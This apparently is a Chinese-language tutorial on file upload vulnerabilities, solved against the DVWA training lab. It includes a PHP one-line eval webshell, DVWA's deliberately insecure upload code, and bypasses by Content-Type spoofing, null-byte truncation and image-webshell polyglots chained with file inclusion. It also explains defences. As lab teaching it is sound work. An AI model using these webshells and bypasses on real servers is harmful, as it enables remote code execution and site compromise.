文章目录
文件上传漏洞(File Upload)
基础知识
总体参考此链接:太厉害了,终于有人能把文件上传漏洞讲的明明白白了
WebShell?
- 简称网页后门,是运行在Web应用之上的远程控制程序。
- webShell其实就是一张网页,由PHP、JSP、ASP、ASP.NET等这类web应用程序语言开发,但webShell并不具备常见网页的功能,例如登录、注册、信息展示等功能,一般会具备文件管理、端口扫描、提权、获取系统信息等功能。
- 拥有较完整功能的webshell,称为大马。
- 功能简易的webshell,称为小马
WebShell之PHP一句话木马?
<?php @eval($_POST[x]); ?>
- $_POST[x]: 获取 POST请求参数中X的值。例如POST请求中传递 x=phpinfo();,那么 $_POST[x]就等同于'phpinfo()'
- eval()将字符串当做PHP代码去执行。例如 eval('phpinfo();'),其中 phpinfo();会被当做PHP代码去执行
<?php @eval($_POST[x]); ?> 实际上的传递过程是这样的
↓
↓
↓
<?php @eval('phpinfo();'); ?> 实际的语句是这样的
WebShell 管理工具有哪些?
中国菜刀
中国蚁剑
冰蝎
哥斯拉
......
文件上传漏洞是什么?
文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力。
文件上传的检测方式有哪些?
- 客户端Javascript文件名后缀验证
- 服务器端MIME类型验证,即验证报文中的Content-Type
- 服务器端文件名后缀验证
- 服务器端文件内容验证,即验证文件头
文件上传怎么绕过黑/白名单?
参考此链接:文件上传漏洞及绕过检测的方式
文件上传漏洞如何防御?
- 服务端文件扩展名使用白名单检测+文件名重命名
- 对文件内容进行检测
- 对中间件做安全的配置
DVWA靶场下的文件上传漏洞
Low
查看源码:发现没有检查后缀名,直接对字符串进行了拼接然后上传,所以任意类型的文件都可以上传,存在很严重的文件上传漏洞,我们直接构造一句话木马,然后上传。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
构造一句话木马,然后上传:
<?php @eval($_POST[x]); ?>
上传成功,并且页面回显了上传文件所在的路径,这样一来我们可以结合文件包含漏洞,执行恶意代码。
打开文件包含(Low级别)界面,在url栏输入payload,然后用hackbar插件Post Data
http://192.168.124.91/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/webshell.php
成功执行了恶意代码phpinfo();
尝试用中国蚁剑链接,口令为x
Medium
查看源码:发现其检测了Content-Type只能为image/jpeg或image/png,并且限制了所传文件的大小<10000bit。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
绕过思路1:先将webshell.php后缀改为webshell.png,然后利用bp抓包(中间人攻击)把webshell.png改回webshell.php
绕过思路2:选择上传webshell.php,然后利用bp抓包(中间人攻击)把Content-Type改为image/jpeg或image/png
绕过思路3:使用%00截断绕过,在php<5.3.4中,处理字符串的函数认为0x00是终止符。那么我们可以利用 00截断 的方法来上传一句话木马。网站上传函数处理a.php%00.jpg时,首先后缀名是合法的jpg格式,可以上传,在点击上传后,使用burpsuite进行抓包拦截,点击右键发送至repeater模块,选择 %00 右键进行url-decode编码,之后点击send发送,可以看见文件a.php上传成功。然后就可以用菜刀连接了。(或者将上传的php文件命名为a.php .jpg[中间有空格],抓包后选择repeater模块,之后点击hex选择十六进制编码,在该文件名对应的行数,将 20 改为 00,之后选择send发送,也可使php文件上传成功)
参考连接:DVWA靶场-文件上传漏洞
这里以思路1为例:
High
查看源码:发现使用了 getimagesize() 函数,该函数返回图像文件的大小、尺寸、文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串,但重点是若指定图像不是有效图像的话,getimagesize() 将返回 FALSE 并产生一条 E_WARNING级的错误。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
尝试上传刚才的webshell2.png,里面的内容为:
<?php @eval($_POST['x']); ?>
发现页面回显上传失败,原因是getimagesize函数返回了FALSE,没有识别到文件头
于是我们尝试用图片马绕过,先保存一张小图片,命名为 1.jpg ,然后将一句话木马写到 2.txt 里,接着以管理员身份允许命令行输入:
copy 1.jpg/b + 2.txt webshell3.jpg
这条命令可以把这两个文件合并,合并后显示为webshell3.jpg(有jpg的话需要加个/b)
页面回显上传成功
结合文件包含漏洞,爆出php版本信息
Impossible
查看源码:发现代码中加入了token机制用于防御CSRF攻击,并对文件名进行了MD5加密,防止了00截断绕过过滤规则,同时对文件后缀和文件类型做了白名单设置,并且还对文件内容作了严格的检查,不符合图片的内容一律舍弃,导致攻击者无法将含有恶意代码的图片上传成功。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>